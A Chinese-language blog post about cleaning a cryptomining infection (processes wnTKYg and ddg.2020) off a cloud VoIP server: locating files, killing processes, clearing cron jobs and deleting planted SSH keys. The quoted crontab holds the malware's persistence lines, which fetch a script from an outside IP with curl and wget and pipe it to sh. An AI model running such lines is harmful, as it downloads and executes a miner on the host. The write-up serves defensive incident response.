公司有臺做voip的伺服器最近CPU總是跑滿，這機器自從交給廠家搭好環境後基本就沒怎麼管它，於是進去檢視程序，top了下（見下圖）
記一次伺服器被挖礦程式*的解決過程
這個叫wnTKYg的程序很詭異，已經把CPU吃光了，上網一查，原來是中了挖礦的馬。（啊，我的天。這只是一個單核1G記憶體的阿里雲主機）既然被*了，那就得幹掉它，下面是解決過程：

1：第一步要先找到這個wnTKYg檔案實體，對了還有一個叫ddg.2020的程序。

[root@alitest ~]$ find / -name wnTKYg
/tmp/wnTKYg
[root@alitest ~]$ find / -name ddg*
/tmp/ddg
 
.2020

2：接著把這兩個檔案的可執行許可權拿掉。

[root@alitest ~]$ cd /tmp
[root@alitest /tmp]$ chmod -x ddg.2020 wnTKYg

3：殺掉這該死的程序。

[root@alitest /tmp]$ ps -ef | grep -v grep | egrep 'wnTKYg|ddg' | awk '{print $2}' | xargs kill -9

4：清除無用的定時任務。

[root@alitest /tmp]$ crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i
 
.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

這是挖礦程式生成的定時任務，不清除掉待會程序又起來了。

[root@alitest /tmp]$ echo > /var/spool/cron/root

因為這臺機器上沒有做定時任務，所以就直接清除掉了，如果有其他在用的定時任務，不要這樣哦。

5：刪除挖礦程式。

[root@alitest /tmp]$ rm -f ddg.2020 wnTKYg

6：清除.ssh/下的公鑰檔案。

[root@alitest ~/.ssh]$ cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUGqxNBCvqd+VNZTcSjyV3bs67sqwXSV+XztaY9QN/DDfeXEfWztdaXPbJvmLE34G
.........
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxV
.................
 

這臺機器並沒有上傳過公鑰檔案，所以這就是*者留下的咯，刪掉刪掉。

[[email protected] ~/.ssh]$ rm -f authorized_keys

至此，*就已經清理完畢了。